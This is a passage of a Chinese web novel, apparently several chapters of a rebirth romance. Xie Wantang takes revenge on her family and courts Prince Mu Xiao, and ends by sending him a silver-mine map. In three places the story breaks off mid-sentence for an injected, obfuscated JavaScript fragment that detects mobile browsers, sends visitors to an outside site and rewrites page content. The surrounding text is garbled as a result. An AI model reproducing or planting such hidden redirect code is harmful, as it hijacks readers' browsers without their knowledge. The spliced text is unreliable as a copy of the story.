沈嬷嬷神色慌张,她小心翼翼的观察着谢晚棠。 怕她难过,沈嬷嬷忙道。 “齐王府后院干净,的确算是个不错的去处,可是我听说,她是无名无分的进门,没个婚事,怕是连妾室都算不上,显然并不得齐王重视。为了这事,她正跟侯爷闹呢,这么想想,这亲事倒也算不得多好。 晚棠你不用心急,你的年岁到了,侯爷总归会记得的。 他会为你安排的。 今年科举,出了不少有才学的学子,寒门出身的尤其多,有好几个都成了朝中新贵呢。 你是侯爷的女儿,他嘴上不说,但心里总归是希望你能好的。我琢磨着,他从这些寒门学子里,给你选个夫婿的可能性最大。 也不用太出众。 能外放做个小官,能带着你远离这京城,过些简单的小日子,就挺好的。” 沈嬷嬷自顾自的说着,越想,她就越觉得这事靠谱。 只是,谢晚棠心里不免觉得讽刺。 上一世,沈嬷嬷也说过这话,她也觉得有理。 可惜,终究是她们把谢詹杭想的太好了。 那个连她死后,都不愿让她安宁,要分尸焚尸,让她尸骨无存,要让她魂飞魄散,永世不得超生的人…… 怎么可能会希望她好? 不过,都不重要了! 这一世,她的路她要自己走,她的命,也不会再归谢詹杭掌控。 至于她的亲事,也只有一种可能—— 慕枭! 她要去慕枭身边! 但在那之前,她要做一件事,永绝后患。 这么想着,谢晚棠的眼里,闪过一抹算计的光芒,她看着炭盆里浓烟翻滚的杂灰炭,慢悠悠的开口。 “嬷嬷,你能帮我做一件事吗?” 第64章 送绣帕 慕枭脸色幽沉。 他不是多嘴的人,更从不多管不相干的人的事。 救谢晚棠,说刚刚的那一番话,也不过是因为,他之前曾误会她与谢詹杭狼狈为奸,说了些重话罢了。 可谢晚棠借坡下驴,故意撩他,把他的话当做了耳旁风…… 这样的人,不值得他多费心。 “出去。” 慕枭声音冷硬。 “啧,”谢晚棠咂舌,“都说凡事都不能一而再,再而三,可是这一会儿的工夫,‘出去’两个字,王爷就一连跟我说了三次,可见对我耐性十足,我这心里,还真有些感动。” 慕枭凝眉,抬手摸上了桌上的茶盏。 谢晚棠瞧着他那模样,毫不怀疑,若是她再胡说撩他,他会毫不犹豫的把茶盏砸向她。 头破血流,毫不留情。 他就是那样的性子,对女人没耐性,不解风情。 谢晚棠收敛嬉笑模样,垂眸苦笑。 “王爷说的我懂,我也知道,君子不立危墙之下,为了这种人以命相搏,并不合算。可是,我被囚禁了十六年,一无钱财,二无人脉,纵有千重计,也是有心无力。以命相搏虽蠢,可身后无靠山之时,我就是自己的靠山,我能靠的也只有自己,这条路虽险,可为了有所得,我却不得不走。” 慕枭抿着唇,没有开口。 他看得出来,谢晚棠没撒谎,她说的是事实。 谢晚棠瞧着慕枭的模样,言笑晏晏,她故意道,“还是说……王爷愿意做我的靠山?愿意帮我?” 慕枭闻声,手中的茶盏骤然飞出。 谢晚棠见状忙闪身躲到门后。 “砰!” 茶盏砸在门上。 慕枭冷眼盯着谢晚棠,“得寸进尺。” 谢晚棠耸耸肩,从门口出来,“既已得寸,不试一试求进尺,岂不是太不上进了些?我这种从泥沼挣扎出来,寻得一线生机的人,最是努力上进的,得寸进尺的事,我也乐得干。” 歪理邪说,谢晚棠说的理直气壮,下一瞬,她径直到慕枭跟前。 将袖口中的帕子拿出来,放到桌上,她浅笑。 “王爷手上沾茶水了,擦擦吧。” 话音落下,谢晚棠离开。 慕枭的目光,落到谢晚棠放下的那方帕子上。 霜色的锦帕上,绣着一枚柳叶,只是那柳叶绣的又短又丑,针脚更粗的恨不能每一针,都能隔十万八千里。 慕枭凝眉,他脑子里只有一个想法—— 真丑! 难怪谢晚棠敢以身作局,以命相搏。 她胆量是不俗。 这种丑东西,也能拿出来送人,这种事,大约也就她能干出来了。 慕枭心里正想着,就见慕临不知何时站在了门外,他一身锦袍,矜贵儒雅,手中拿着一串佛珠,漫不经心的摩挲着。 “听说六弟伤了腿,情况严重,今日一见,六弟风姿不减啊。” 慕枭没答话。 知道慕枭冷淡,慕临也不在意。 他缓步进门,走向慕枭。 “只可惜,谢家女不识抬举,眼皮子太浅,因着六弟伤了腿,再难站立,就转投他人怀抱,还是个清贫无才无德之辈,简直是鼠目寸光,这实在是看轻了六弟,侮辱了六弟,这般女子,六弟罚的还是太轻了。” 话,似是向着慕枭说的,可其中的讽刺和嘲弄,却也明显。 他高兴慕枭伤了腿,成了残废。 他笑话慕枭堂堂皇子,却连魏亭澜都比不过。 幸灾乐祸,皆在面上。 慕枭随手将桌上的绣帕收起来,之后才挑眉看向慕临,“本王罚人的确手软,毕竟本王胆子小,不比皇兄,在这诗社之内,私交朝臣,结党营私,此等手腕,我……望尘莫及。” “你……” “皇兄还有事忙,我就不耽搁皇兄工夫了,告辞。” 懒得搭理慕临,慕枭转着轮椅往外去。 慕临气的要命。 可碍于慕枭说的“私交朝臣,结党营私”,不确定慕枭知道多少,他不敢轻举妄动。 紧盯着慕枭的背影,慕临眸子中,黑云翻涌。 …… 惊风诗社外。 谢晚棠从慕枭的包厢出来后,就来了外面,准备回府。 她刚刚约了慕枭两日后去万仙楼,要给慕枭送一份大礼,她需要时间回去准备准备。 谢晚棠出来,就瞧见诗社外聚了一群人。 谢婉宁和魏亭澜被吊的高高的,模样狼狈,众人都在围观他们。 谢詹杭也在。 只是,谢詹杭可没心思看热闹。 事情发展到这一步,谢婉宁算是毁了,他有心相救,但面对着慕枭的命令,瞧着守在边上的天晴,他无计可施。 谢詹杭愁眉不展,这时候,他就瞧见了出来的谢晚棠。 几乎是本能的,谢詹杭走向她。 谢晚棠也没有回避。 总归还要回永昌侯府,谢詹杭、谢夫人,以及谢婉宁他们这些人,她也总还是要面对的。 回避也没用。 谢詹杭在谢晚棠面前停下,他额上青筋直跳,只是周围人多眼杂,他不好发难。 冷眼瞧着谢晚棠,他厉声开口,“你跟我过来。” “好。” 谢晚棠点头。 她跟着谢詹杭,很 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“言语如刀,爹今日已经杀过我一次了,若非有齐王相救,我早就没命了。现在爹又这般冤枉我,是想在众目睽睽之下,再逼死我一次吗?今日的事闹成这样,只怕朝臣攻讦,御史**,百姓非议,都是少不了的,爹是想再生事端,雪上加霜吗?” 谢晚棠的话问的直白。 一时间,谢詹杭脸色惨白,他不愿意承认,又不得不承认,谢晚棠说的对。 眼下情况已经很糟了,不宜再出乱子。 尤其是谢晚棠,不能逼的太紧,更不能出重手,否则,一旦谢晚棠这头出个一差二错,那他就是自己把自己推上了风口浪尖。 那绝对不行。 谢詹杭正想着,就听到谢晚棠继续。 “局势所迫,就算一切都是我做的,爹也动不得我,那爹又何苦难为自己?难得糊涂,不是吗?” “真的是你?” “爹,还是那句话,你太高看我了。 我今日是被谢婉宁带过来的,是她约我出门的,这件事,爹可以跟我身边的知琴。 那是爹的人,她的话,爹总该信的。 更何况,我从未出过侯府,也没来过这,如何算计安排?谢婉宁、魏亭澜两个大活人,又怎么会乖乖听我的,受我所控? 都道知子莫若父。 谢婉宁什么德行,爹心知肚明。 试问,换做是爹,爹能在无人手、无银钱的情况下,做这般安排吗? 还是说,爹还没弄明白今日的事,到底是怎么回事? 若是那样,正好众人皆在,要不,我们再去外面,当着众人的面,好好的说道说道,分辩个谁是谁非,因果黑白? 爹,你若想如此,我……奉陪到底!” 第68章 今日欢 听着谢晚棠的话,谢婉宁气炸了。 “谢晚棠你有病吧?那红梅树是我种的,你凭什么砍?真以为住进了宁和园,就是这里的主子了?可以发号施令了?你也不看看自己什么德行?你配吗?” 谢晚棠回眸看她。 下一瞬,谢晚棠抬手,用力扯了一把谢婉宁的胳膊。 因为被吊在惊风诗社外太久,谢婉宁胳膊脱了臼,时间太长了,哪怕苗府医给她接回去,她还是会觉得疼。 现在被谢晚棠一扯,只听“咔”一声,她胳膊就再也使不上力了。 疼,再次袭来。 一时间,谢婉宁脸都白了。 “谢晚棠,你……” “我说了,姐姐你该识趣一点的,姐姐怎么就不听呢?眼下,我只是要砍一棵树而已,姐姐就气急败坏至此,若是有朝一日,我把姐姐你埋在那红梅树下,你又当如何?” “你敢。” “那姐姐就等等看,看看我到底敢不敢?” 一边说着,谢晚棠一边倾身上前,她伸手在谢婉宁脸上凸起的红肿脓包上戳了戳。 脓包瞬间破裂。 脓水混着血水,从破口处流下来,温热热的。 很疼! 谢婉宁疼的面容扭曲。 谢晚棠瞧着,却忍不住一阵阵发笑。 “知道疼就好,知道疼就小心点,学会点谨言慎行。而今我跟姐姐住的可近,惹了我,回头夜里我忍不住,把姐姐脸上的脓包都戳破了,那痛不欲生的滋味,只怕姐姐受不住。” “你……” “哦,忘了说了,姐姐……你现在这模样……可真丑。” 尾音拖得长长的。 真丑—— 这两个字,谢晚棠说的更重,她的嘲弄讥讽都在脸上,气的谢婉宁想**。 可谢晚棠却恍若不觉,她漫不经心的继续。 “也难怪齐王不要姐姐,将姐姐拒之门外,就姐姐现在这模样,就算是魏亭澜,也未必下得去口。早前的时候,一直都听说姐姐心气高,盼望高嫁,而今只怕想嫁都难了,遑论高还是不高。但愿魏亭澜还愿意当那个冤大头,愿意接手姐姐这个烂摊子。只是不知道,对着这张脸,他……能愿意吗?” “谢!晚!棠!” 谢婉宁咆哮,吼的歇斯底里。 谢晚棠只当没听见。 转身坐到自己的床上,她饶有兴致的看着谢婉宁的脸,越看,她就越感激在齐王府住的那三年。 在高门大户里,就是容易长见识。 不过是听昌伯说了些宫里的明争暗斗,记下了两个方子,就借着魏亭澜的手,毁了谢婉宁的脸,还让谢婉宁浑然不觉,让人抓不到错处…… 真不错! 齐王府是个好地方,就是不知,这辈子,她要多久才能进去? 也不知道,慕枭这会儿在忙什么? 谢晚棠想着慕枭,心忍不住一阵阵的发疼! 她好想去见慕枭! 她后悔了。 早知道思念会泛滥成灾,她就不该把约见慕枭的时间,定在两日后的。一日不见,如隔三秋,这种度日如年的日子太煎熬了,她…… 好像真有点要熬不住了! …… 齐王府,主院。 慕枭沐浴完,就坐在临窗的罗汉榻上,他斜依偎着一个烟灰色的软枕,手上漫不经心的翻弄着兵书。 面前,天晴回禀着谢詹杭的事。 知道谢詹杭的事被捅到了御前,知道他被关押了,慕枭的心也就算放下了。 他从来都不是什么善类。 谢詹杭有把柄在他手上,主动送女儿过来示好,他对谢婉宁无意,只是没想把事情做绝了,才睁一只眼闭一只眼。谢詹杭不知感激,还敢纵女乱来,甚至在他面前,都敢胡言乱语,说些糊弄人的鬼话,那就怪不得他了。 仅仅是让**劾,捅出去几件事,走的都是明路,已经算是便宜他了。 心里想着,慕枭轻轻点头。 “知道了,下去吧。” “是。” 天晴应声,就准备出门。 只是,他还没到门口呢,就见到昌伯手里拿着一封信,匆匆忙忙的从外面走了进来。 到慕枭跟前,昌伯将手中的信递给慕枭。 “王爷,永昌侯府那头来了个小丫鬟,送了一封信过来。” 慕枭凝眉。 对于永昌侯府,他不喜至极。 眼下,永昌侯府送信来,只怕十有**,都跟谢詹杭有关,他更懒得看。 “烧了。” 慕枭淡漠的开口,冲着昌伯吩咐。 昌伯抿了抿唇,犹豫片刻,才低声道,“王爷,这信上有一个‘谢’字,这字老奴瞧着,跟上次送来咱们府上的信有些相似,很有王爷的风骨,大约是谢家二小姐写的,王爷真不瞧瞧?” 慕枭抬眸,剜了昌伯一眼。 “话愈发多了。” 昌伯知道,慕枭并非真的愠怒怪罪,他也不怕。 看着慕枭,他笑眯眯的回应。 “王爷恕罪。” 瞧着昌伯那样,慕枭挑了挑眉,倒也没生气。目光落在昌伯手中的那封信上,他半晌才缓缓伸手。 “给我。” “是。” 昌伯应声,忙将信递到慕枭手里。 信封上只有一个“谢”字,的确和他的字有些像。 将信打开,慕枭就看到信里的一首诗,“玉炉冰簟鸳鸯锦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15738838|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,粉融香汗流山枕。帘外辘轳声,敛眉含笑惊。柳阴轻漠漠,低鬓蝉钗落。须作一生拚,尽君今日欢。” 信纸单薄,可慕枭拿在手里,却觉得信纸发烫。 鸳鸯锦,香汗流,蝉钗落,今日欢…… 字字句句,香艳到灼热。 谢晚棠! 看着这信纸,慕枭忍不住想起在惊风诗社,谢晚棠坐在他腿上,轻吻她喉结的样子。 这女人……真是……孟浪! 心里想着,慕枭随手将信纸团成一团,借着桌上的烛火点燃。 “以后再有这种东西,直接都烧了。” “这……” 昌伯有些尴尬迟疑。 而另一旁,眼巴巴的看热闹,愣是没走的天晴,心更是痒得要命,“王爷,谢二小姐在信上都写了什么啊?你反应这么激烈做什么?不会是信上写了什么相思情浓,王爷害羞了吧?” 听着天晴的话,慕枭抬眸,眯了眯眼睛,他唇角也微微上扬。 浅浅的笑意,在他眉眼间流淌。 “想知道?” 越是笑,越是险! 跟在慕枭身边多年,这道理,天晴太懂了,眼下这种时候,就算心里有一万个“想知道”,也还是说“不想”的好。 扯了扯僵硬的嘴角,天晴木讷的假笑。 “不……不想,属下什么都没说,属下还有事,先告退了。” 天晴说完,转头撒腿就跑,落荒而逃。 他生怕慕枭叫他。 慕枭轻哼了一声,收回目光,这才道,“昌伯,你也下去休息吧,顺带着把我挂在屏风上的袍子拿下去,让人洗了。” “是。” 昌伯应声,急忙去拿袍子。 只是,昌伯才从屏风上,将慕枭的袍子拿下来,就瞧见一方绣帕,从袍子里掉了出来。 绣帕颜色素净清雅,是慕枭喜欢的,只是那帕子上绣的柳叶—— 实在是一言难尽。 圆滑如昌伯,老半晌,都找不出个词来形容。 真的太丑了! 昌伯想着,缓缓抬眸看向慕枭,“王爷,这帕子也一并洗了?还是……” 扔了? 最后这两个字,昌伯没有直接说出口,可他的那点嫌弃,却完完全全都写在脸上了。 慕枭看向昌伯手里的帕子,微微愣了愣。 那是谢晚棠留下的。 当时,慕临突然进门,他顺手就把帕子装起来了,后来就忘了。 不写情词不写诗,一方素帕寄相思。请君仔细翻覆看,横也丝来竖也丝。帕子,在男女之间,从来都是不同的。 谢晚棠胆子倒是大,也够直接。 慕枭想着,不禁出神…… 第69章 让她死 看着慕枭神游天外,昌伯不知道他在想什么,他疑惑的唤了一声。 “王爷……” 听到声音,慕枭回神。 目光落回到那方绣帕上,他开口声音冷淡。 “拿出去烧了吧。” 他本就不近女色,于婚事上冷淡,而今,他厌恶极了谢家,不愿再跟谢家有交集,对于谢晚棠这种大胆的女子,他也不喜。 本就不该有交集的两个人,留下这种东西,不合时宜。 烧了,一了百了。 慕枭想着,不禁又想到在包厢时,谢晚棠说的话—— “以身相许王爷不喜欢,那两日后在万仙楼,我有一物相赠,以作答谢,还望王爷赏光。” 慕枭凝眉。 不知道谢晚棠又在打什么主意。 可本能的,他不想去,不想再见谢晚棠! …… 永昌侯府。 一连两日,谢詹杭都没回来。 谢夫人安排人去打探,想要疏通关系见见谢詹杭,以便了解情况,做下一步的安排,可她派出去的人都被挡了回来。除了知道谢詹杭因为公务上出了岔子,被皇上不喜,在接受调查外,其他的他们一无所知。 谢詹杭什么时候能回来,更是没谱的事。 因为这事,整个永昌侯府,都蒙上了一层阴云。 下人们更是小心翼翼。 大家伙儿甚至连大气都不敢喘,生怕哪里出了岔子,惹了主子不痛快,成了宣泄的出口,被刁难责罚。 唯有宁和园里,暴躁的嘶吼咆哮,接连不断。 “啊啊啊——” 这日天一亮,谢婉宁就喊上了。 那声音,尖锐刺耳,恨不能将房顶都掀翻了。 谢晚棠睁开眼睛,就瞧见谢婉宁扬手将铜镜给摔了,连带着桌上的胭脂水粉,也被她砸了满地。 微微凝眉,谢晚棠看向谢婉宁的脸。 被划伤的地方红肿的厉害,外翻的皮肉,已经隐隐有了溃烂的迹象。她脸上那些肿起来的脓包,也一连破了好几处,脓水混着血水流出来,在脸上结了脓痂,一块一块的,可脓包却没有消下去,反而干瘪的凸起着,像是一个又一个蚁坑。 那模样,骇人的紧。 “呵!” 谢晚棠看着,忍不住笑出了声。 果然,刀子只有落在自己身上,才会知道疼。 上辈子活埋她时,谢婉宁特意让人先毁了她的脸,她的脸血淋淋的,伤痕交错。 那种滋味有多痛,她太清楚了。 她知道,谢婉宁在意这张脸,谢婉宁也恨她与之长相相似。 而今再来一次…… 她和谢婉宁换了位置,毁了脸的换成了谢婉宁,脸上的疼,摧着内心煎熬崩溃的,也成了谢婉宁。 一报还一报,还真是天道轮回,报应不爽。 “你笑什么?” 谢婉宁听到谢晚棠的笑声,厉声嘶吼,她起身就冲到谢晚棠的床边上,想要上手打谢晚棠。 只是,显然谢晚棠早有防备,动作更快。 在谢婉宁过来的瞬间,谢晚棠手中的**,迅速抵在了她的小腹上。 “嗯……” **锋利,刺破皮肤,疼的谢婉宁倒吸了一口凉气。 “死灾星,你居然敢对我动手,你……” 谢晚棠哂笑。 不等谢婉宁说完,她便开口,将谢婉宁的话打断了。 “敢不敢,这手我都已经动了,身上既然已经疼了,姐姐就该听我的,谨言慎行,识趣一点,要不然,之后遭的罪必定更多。” “死灾星,爹娘是不会放过你的,你等着。” “还是姐姐先等着吧。” “你……” “等着爹先保住了命,安全回府;等着娘心下大安,能顾得上姐姐;等着他们不会被人像避瘟神一样的避着,能请得动太医,来为姐姐治脸;等着他们能开始再为姐姐谋划婚事,谋划前程……姐姐,你要等的可不少,就是不知道能不能等得来?” 谢晚棠的话,戳到了谢婉宁的痛处。 自打从惊风诗社回来开始,谢詹杭出事,整个永昌侯府就像是变了天。 她的状况也越来越糟。 谢婉宁怕。 谢婉宁心里烦,偏偏她拿谢晚棠一点办法都没有,连带着宁和园里伺候的下人,包括知鸢,也都被管家警告过了,不许生事,尤其是不能听她的,对谢晚棠动手。 一个个的,全都跟她作对! 看着谢婉宁不痛快,谢晚棠痛快极了。 哼着小曲从床上下来,谢晚棠越过咬牙切齿,却又无能为力的谢婉宁,自顾自的去找衣裳。 今日,她约了慕枭在万仙楼见面。 慕枭心里厌恶她,她也不确定,今日慕枭是否会去。 可她等这一刻已经等许久了。 她得早点。 慕枭真若不去,她也还得再去齐王府跑一趟,中间得耽误不少工夫呢。 找了件素雅清丽的衣裳,谢晚棠叫知棋、知琴进来为她梳妆,之后,她用了早膳,就打算出门。 看着谢晚棠要走,谢婉宁眉头紧锁。 “你要去哪?” 谢晚棠连答也没答,她带着给慕枭准备的东西,以及之前从小库房里拿出来的药材,带着知琴就出了屋。 宁和园的红梅树,已经被她叫人砍了,只留下一个树桩,还没来得及清理。 谢晚棠走过去,只觉得空旷极了,连她的心气似乎都跟着顺了。 她唇角微微上扬,笑意扩大。 她脚步生风。 没一会儿,她就带着知琴出了府,上了马车,直奔万仙楼。 看着谢晚棠离开,而自己被忽略了个彻底,谢婉宁气的要死,她把知鸢叫到跟前来,厉声吩咐。 “那死灾星既然出了门,就永远都不要回来了,你去安排两个府卫,在路上把她处理了。” “小姐……” 知鸢听着谢婉宁的话,小眉头皱成一团。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15738839|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一颗心七上八下的,忐忑不安。 “小姐,夫人和管家都交代过,近来不要生事,尤其是不能对二小姐动手,要不咱们还是……” “你是主子还是我是主子?” 打断知鸢的话,谢婉宁厉喝。 实在不解气,她还抬脚,用力冲着知鸢踹了一脚。 知鸢身形踉跄。 膝盖处疼的厉害,她脸色都变了,呼吸声也有些重,凌乱的厉害。 冷眼看着她,谢婉宁黑着脸道,“你可别忘了,我之所以会在惊风诗社出事,都是因为你没有守好门。我没处置你,没要了你的命,已经是格外开恩了,你别不识好歹,变着法儿的跟我作对。不然,可别怪我心狠。” “可……可是夫人说……” “别管我娘怎么说,现在,你只能听我说,让你去你就去,出了事我兜着,不用你多嘴。” “……” “去,或者死,你自己选。” 谢婉宁威胁。 这么跟谢晚棠同睡同起,同进同出,处处被谢晚棠牵制,次次被谢晚棠嘲讽,这种日子她过够了,她真的要疯了,她受不了了。 就算是凶险,就算是赔上半条命,这次,她也要让谢晚棠死。 谢婉宁的狠知鸢看在眼里。 知道拒绝不了,知鸢轻轻的应声。 “是。” 话音落下,知鸢丝毫不敢耽搁,她踉跄着出门,去安排去了。 看着她的背影,谢婉宁眼底全是恶毒阴狠。 都跟她作对。 今日,谢晚棠要死,过两日,她也会送知鸢这些不长眼的下人,下去给那死灾星陪葬。 他们这些让她不痛快的人,一个都别想逃! …… 万仙楼。 谢晚棠过来的很早,她要了一间顶层的包厢。 上辈子,她跟着慕枭来万仙楼,慕枭每次要的包厢都在顶层。她在这边等慕枭,最为方便。 包厢里,谢晚棠进来坐下。 她抬眸看向知琴。 “一会儿你去让小伙计上点茶水、糕点来,若是有蜜煎荔枝,也送一份过来。完事之后,你把这里的药材,拿到医馆去卖了,价格你看着谈就好,别亏太多就成。” 知琴眨了眨眼睛。 之前,谢晚棠可是说,这些药材是给谢婉宁补身子的。 这就卖了? 看着知琴的模样,谢晚棠勾唇,“以德报怨,何以报德?我虽心善,却也不至于好心泛滥。你若是觉得心中不安,稍后我自己去也可以。” “奴婢懂,奴婢这就去。” 知琴拿着东西,转身便出了包厢。 谢晚棠走到窗边,伸手推开窗子往楼下看,街上来来往往的人,都看的清清楚楚。 只是,许久都不见齐王府的马车,不见慕枭的影子。 时间流逝,谢晚棠心也跟着下沉。 她端着茶盏,苦涩摩挲。 “王爷,你……就这么不想见我吗?” 第70章 再登门 不过,谢晚棠的低落,也就只是一瞬而已。 上辈子慕枭为了她,付出了什么,她都清楚,无讳大师说的“无心人”“不会太顺遂”的话,她也都记在心里了。 她不怨。 谢晚棠起身,直接下了楼。 点了几个万仙楼的招牌菜,嘱咐小伙计送到包厢,之后谢晚棠就去了永昌侯府的马车边上。小厮正在这边候着,她让小厮去包厢里等知琴,待知琴回来了,他们就一起吃点东西,至于她自己,则骑马去了齐王府。 谢晚棠庆幸,上辈子慕枭对她有心,在不经意间,教了她许多东西。 骑马,也是其中一项。 当时,这些不过是调剂生活的小情趣,可有可无。 可重活一世,这都成了生存技能。 都用上了。 避开了热闹的街道,谢晚棠骑马穿了小路。 只用了两刻钟,她就到了齐王府。 翻身下马,谢晚棠牵着马,站在齐王府外,仰头看着齐王府的匾额。 那牌匾上的“齐王府”三个字,是皇帝御笔亲书,上辈子她头次进门,是被一顶小轿从角门抬进去的,后来,也只有跟着慕枭,才会走这边,才会看到那张扬的大字。 一如慕枭这个人,桀骜不羁。 一场惨死,一次重生,而今重归故地,再登门,谢晚棠只觉得一切就像是一场梦。 那么不真实。 一时间,她眼眶不禁泛红。 天晴得了慕枭吩咐,正要出门办事。 他刚从齐王府大门出来,就瞧见了站在门口的谢晚棠。 站在高头大马旁,谢晚棠显得清雅又娇小,她红着眼睛,直勾勾的盯着齐王府的大门,身上透着一股柔弱无助的感觉,让人瞧着,心跟着一揪一揪的,怜惜的紧。 天晴戏中疑惑,他下了台阶,忙到谢晚棠边上。 “谢二小姐,你怎么来了?” 谢晚棠收回思绪,她扭头摸了摸湿润的眼角,这才冲着天晴笑笑。 “今日,我约了王爷在万仙楼见面,有重要的东西给他,他一直没来,我想他大抵是不愿意见我的,但东西重要,我得给他,所以还是来了,唐突之处,还请王爷见谅。” 一边说着,谢晚棠一边伸手,将准备好的信封给天晴。 “东西就在信封里,劳烦你交给王爷吧,记得,一定要亲手交给王爷,不要转手他人,免得东西遗失,耽误了事。” “什么东西啊,这么谨慎?” 天晴好奇。 谢晚棠浅笑,“王爷看过了,自会知道,门外人多口杂,还是不谈的好。” “好,王爷在府里,我这就去将东西交给王爷。” “那我就先告辞了。” 谢晚棠说着,忍不住又抬头,看了看齐王府的匾额,那样的留恋和不舍,让天晴心生不忍。 天晴将信封攥紧,犹豫片刻,迅速开口。 “谢二小姐,你若是不忙,就在门房这边先等等吧。” 谢晚棠看向天晴。 四目相对,天晴也不兜圈子,“依谢二小姐所言,这东西这么重要,指不定王爷看过时候,是要见谢二小姐的。谢二小姐等一等,也免得王爷要见时,属下还得往永昌侯府跑一趟,耽误工夫,白白辛苦,请谢二小姐多多体谅。” “好。” 谢晚棠几乎没有犹豫,爽快的应了。 天晴把谢晚棠安置在门房,至于他自己,则进府去找慕枭去了。 书房。 天晴过来时,慕枭正在看九重暝楼送来的消息。 九重暝楼是慕枭一手打造的,信息网很强,收集的各方的信息也多,这次送来的,就有厚厚的一沓,慕枭一目十行,看的极快,他也将这些信息都记在心上,在心里分析各方的局势。 看到天晴回来,慕枭有些意外。 “怎么回来了?” 天晴到慕枭身边,他目光灼灼的盯着慕枭。 那眼神,让慕枭眉头紧锁,“有事说,没事滚,眼睛不想要了,本王也可以帮你处理了。” “王爷,你约了人家姑娘,转头就不认账,这样好吗?” 慕枭眼神微凛。 他知道,天晴说的是谢晚棠约他的事。 可是,他何曾答应过? 而且天晴去而复返,还说这话,十有**是谢晚棠上门了。粘人、难缠、毫无分寸……慕枭对谢晚棠的不喜,又重了几分。 “滚出去。” “啧,”天晴咂舌,“王爷,这算是恼羞成怒吗?” “想死?” “属下不想死,可也不想让人家姑娘难过,尤其还是位一心惦记着王爷,专程骑马跑过来,给王爷送重要东西的姑娘。” 天晴说着,就将谢晚棠给的信封,放到了慕枭面前。 “谢二小姐让属下交给王爷的,还说,一定要亲手交给王爷,不要转手他人,免得东西遗失,耽误了事。” 慕枭清冷的眸光,落在信封上。 这信封倒是眼熟。 昨夜,谢晚棠让人送来那首艳诗,用的也是这样的信封。 想着那些极尽缠绵的淫词艳曲,慕枭心中嫌恶,他甚至连拆开信封的心思都没有。 “拿走,烧了。” “王爷,谢二小姐说,这可是很重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15738840|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要的东西,王爷看都不看,就直接烧了?” “同样的话,本王不想再说第二遍。” 话音落下,慕枭低头继续忙。 那冷冽的气势,让天晴眉头紧锁,他心里不免后悔,早知道慕枭是这个态度,他或许就不该留谢晚棠在门房等。 之前,谢晚棠的眼睛就红红的,眼泪婆娑。 这下,刚刚在心头升起的一丝希望,彻底破灭,只怕她更该难过了。 “造孽哦!” 天晴拿过信封,低声感慨。 “可怜人家姑娘,在万仙楼等不到人,一个人骑着马,眼巴巴的亲自把东西送过来,站在门口,想进又不敢进,急的眼睛都红了。结果,王爷真是一点风情都不解,人家姑娘苦呦。” 慕枭头也没抬,“舌头不想要了,就割了喂狗。” “啧,无情。” 嘀咕了一声,天晴将信封拿起来。 他转头往外去。 他走的很慢,一边走,一边将信封打开,低头看看。 左右也是慕枭要烧掉的东西,他看看也无妨,不重要也就罢了,可万一真是什么要紧的物件,也能提早告诉慕枭,免得辜负了谢晚棠的一番好心,真耽误了什么事。 信封里,只装着一张纸,天晴把纸打开,就看到了里面的舆图。 一时间,天晴的眸子都缩了缩。 “这……” 天晴转身,冲到慕枭身边。 “王爷,你看看谢二小姐送来的东西,这是幅舆图,从标记来看,似乎是一幅矿脉图。” 慕枭心神一震,他从天晴手里将纸拿过来,看了两眼。 确实如天晴所说,这是矿脉图。 银矿。 是真是假,单凭一幅图,暂时还不能确定,但是,若这幅图是真的,那其价值难以估量。 按照谢晚棠所言,谢晚棠被谢詹杭囚禁十几年,她怎么会有这东西? 慕枭看向天晴,急声询问,“谢晚棠人呢?” “在门房。” “把她带到书房来。” “是。” 天晴应声,转身往外去,只是,临到书房门口的时候,他顿住脚步,回头看了慕枭一眼。 下一瞬,他神色尴尬的冲着慕枭笑笑。 “王爷,有一句话,属下不知道当讲不当讲?” 慕枭垂眸看图,根本懒得搭理他。 天晴却不惧。 憋憋嘴,天晴压低了声音,冲着慕枭继续,“王爷,你这……有事见人心急火燎,无事疏离佳人如草,这……是不是不太好?这是不是显得有点……无情?有点……臭不要脸?” 第71章 明着撩 慕枭看向天晴,剑眉微挑。 “想死?” 闻声,天晴无辜的耸耸肩,快步出去,去请谢晚棠去了。 虽然和慕枭相处多年,慕枭待他们这些属下也极好,可玩笑开多了,也会惹人生厌。 而慕枭的怒火,不是谁都能受得住的。 还是见好就收比较好。 看着天晴走远,书房空了下来,慕枭的眸光,再次落在那份矿脉图上。他承认,他自来都算不上什么好人,生在皇家,身在权力场,随势而动,因利而动,于他而言实属平常。 不过,天晴说的也算对。 他不喜谢晚棠,却拿了谢晚棠这么重要的东西,变脸也不可谓不迅速—— 的确算不上君子。 屈指敲着桌子,慕枭凝眉,若有所思。 